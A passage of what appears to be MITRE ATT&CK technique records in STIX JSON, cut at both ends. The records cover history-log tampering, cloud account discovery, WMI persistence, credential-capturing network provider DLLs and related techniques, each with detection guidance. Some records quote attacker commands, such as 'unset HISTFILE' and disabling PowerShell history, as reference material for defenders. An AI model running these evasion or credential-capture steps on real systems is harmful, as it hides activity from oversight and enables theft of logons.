Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Process whitelisting"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["William Cain"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "type": "attack-pattern", "created": "2020-03-15T15:34:30.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1048.002", "url": "https://attack.mitre.org/techniques/T1048/002"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2021-10-15T22:44:11.953Z", "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol", "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Command: Command Execution", "File: File Access", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content"]}, {"x_mitre_platforms": ["Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", "type": "attack-pattern", "created": "2020-02-21T21:08:36.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1087.004", "url": "https://attack.mitre.org/techniques/T1087/004"}, {"description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0", "source_name": "Microsoft msolrolemember"}, {"description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", "url": "https://github.com/True-Demon/raindance", "source_name": "GitHub Raindance"}, {"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", "source_name": "Microsoft AZ CLI"}, {"description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/", "source_name": "Black Hills Red Teaming MS AD Azure, 2018"}, {"source_name": "AWS List Roles", "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.", "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"}, {"source_name": "AWS List Users", "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html", "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020."}, {"source_name": "Google Cloud - IAM Servie Accounts List API", "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list", "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020."}], "modified": "2021-03-16T12:54:41.133Z", "name": "Cloud Account", "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-04-16T12:43:55.369Z", "name": "Process Discovery", "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. \n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Process: Process Creation", "Process: OS API Execution", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "created": "2017-05-31T21:30:48.728Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1057", "external_id": "T1057"}, {"source_name": "show_processes_cisco_cmd", "description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:47.940Z", "name": "Impair Command History Logging", "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Vikas Singh, Sophos", "Emile Kenning, Sophos", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform.  Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Sensor Health: Host Status", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Host forensic analysis", "Log analysis"], "type": "attack-pattern", "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", "created": "2020-02-21T20:56:06.498Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/003", "external_id": "T1562.003"}, {"source_name": "Sophos PowerShell command audit", "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.", "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"}, {"source_name": "Microsoft PowerShell Command History", "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"}, {"source_name": "Sophos PowerShell Command History Forensics", "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.", "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", "type": "attack-pattern", "created": "2019-12-03T14:15:27.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1053.004", "url": "https://attack.mitre.org/techniques/T1053/004"}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "source_name": "AppleDocs Launch Agent Daemons"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}], "modified": "2021-10-07T21:38:03.610Z", "name": "Launchd", "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_is_subtechnique": true, "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["root"]}, {"modified": "2023-05-04T18:02:51.318Z", "name": "Network Provider DLL", "description": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["CrowdStrike Falcon OverWatch", "Jai Minton"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "Process: OS API Execution", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04", "created": "2023-03-30T22:45:00.431Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556/008", "external_id": "T1556.008"}, {"source_name": "NPPSPY - Huntress", "description": " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023.", "url": "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}, {"source_name": "NPPSPY Video", "description": "Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.", "url": "https://www.youtube.com/watch?v=ggY3srD9dYs"}, {"source_name": "NPPSPY", "description": "Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.", "url": "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy"}, {"source_name": "Network Provider API", "description": "Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.", "url": "https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api"}, {"source_name": "NPLogonNotify", "description": "Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.", "url": "https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-13T14:08:20.882Z", "name": "Windows Management Instrumentation Event Subscription", "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe`  \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Brent Murphy, Elastic", "David French, Elastic", "Viren Chaudhari, Qualys"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["File: File Creation", "Process: Process Creation", "Command: Command Execution", "WMI: WMI Creation"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "type": "attack-pattern", "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "created": "2020-01-24T14:07:56.276Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/003", "external_id": "T1546.003"}, {"source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}, {"source_name": "Dell WMI Persistence", "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", "url": "https://www.secureworks.com/blog/wmi-persistence"}, {"source_name": "FireEye WMI SANS 2015", "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"}, {"source_name": "Medium Detecting WMI Persistence", "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"}, {"source_name": "Elastic - Hunting for Persistence Part 1", "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"}, {"source_name": "Mandiant M-Trends 2015", "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"}, {"source_name": "Microsoft Register-WmiEvent", "description": "Microsoft. (n.d.). Retrieved January 24, 2020.", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}, {"source_name": "Microsoft MOF May 2018", "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75", "type": "attack-pattern", "created": "2020-10-02T16:59:56.648Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1596.004", "url": "https://attack.mitre.org/techniques/T1596/004"}, {"source_name": "DigitalShadows CDN", "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/", "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:47:55.905Z", "name": "CDNs", "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Deloitte Threat Library Team"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", "type": "attack-pattern", "created": "2020-03-06T21:04:12.454Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1497.002", "url": "https://attack.mitre.org/techniques/T1497/002"}, {"source_name": "Deloitte Environment Awareness", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."}, {"source_name": "Sans Virtual Jan 2016", "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667", "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019."}, {"source_name": "Unit 42 Sofacy Nov 2018", "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019."}, {"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", "source_name": "FireEye FIN7 April 2017"}], "modified": "2021-10-18T14:57:48.362Z", "name": "User Activity Based Checks", "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or 